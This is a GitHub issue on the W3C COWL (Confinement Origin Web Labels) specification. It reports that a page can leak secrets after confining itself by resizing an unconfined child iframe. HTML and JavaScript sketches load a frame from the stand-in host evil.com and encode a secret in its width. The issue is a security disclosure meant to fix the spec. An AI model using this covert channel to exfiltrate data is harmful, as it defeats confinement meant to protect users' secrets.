w3c / webappsec-cowl

WebAppSec Confinement Origin Web Labels
https://w3c.github.io/webappsec-cowl/
Other
11 stars 10 forks source link

iFrame resizing as covert channel #60

Open NAndreasson opened 8 years ago

NAndreasson commented 8 years ago

Ties into issue #33

By creating an unconfined child context, before becoming confined, it is possible to leak secrets to it.

Leaking Information

<iframe id="unconfined" src="http://evil.com/"><iframe>                                                                                                         
<script>                                                                                                                                                                       
  var unconfinedFrame = document.getElementById('unconfined');                                                                                                                 
  if (secret == ...) {                                                                                                                                                       
    unconfinedFrame.style.width = ...;                                                                                                                                       
  } else {                                                                                                                                                                   
    unconfinedFrame.style.width = ...;                                                                                                                                       
 }                                                                                                                                                                                                                                                                                          </script>  

Also there is a more "subtle" case where you indirectly changes the size of the unconfined context.

<div id="conductor" style="width:600px;">
<iframe style="width:50%" src="http://evil.com"></iframe>
</div>
<script>
  var conductor = document.getElementById('conductor');                                                                                                                 
  if (secret == ...) {                                                                                                                                                       
    conductor.style.width = ...;                                                                                                                                       
  } else {                                                                                                                                                                   
    conductor.style.width = ...;                                                                                                                                       
 }                                                      
</script>

Retrieving Information

From the unconfined frame it is possible to retrieve information via the width/height properties.

<script>
  var width = window.innerWidth;
 // compute secret
</script>
deian commented 8 years ago

We discussed this on April 13 on https://gitter.im/w3c/webappsec-cowl

The short summary is that if a context has untainted children frames and then taints itself, it can leak data by re-sizing the iframe.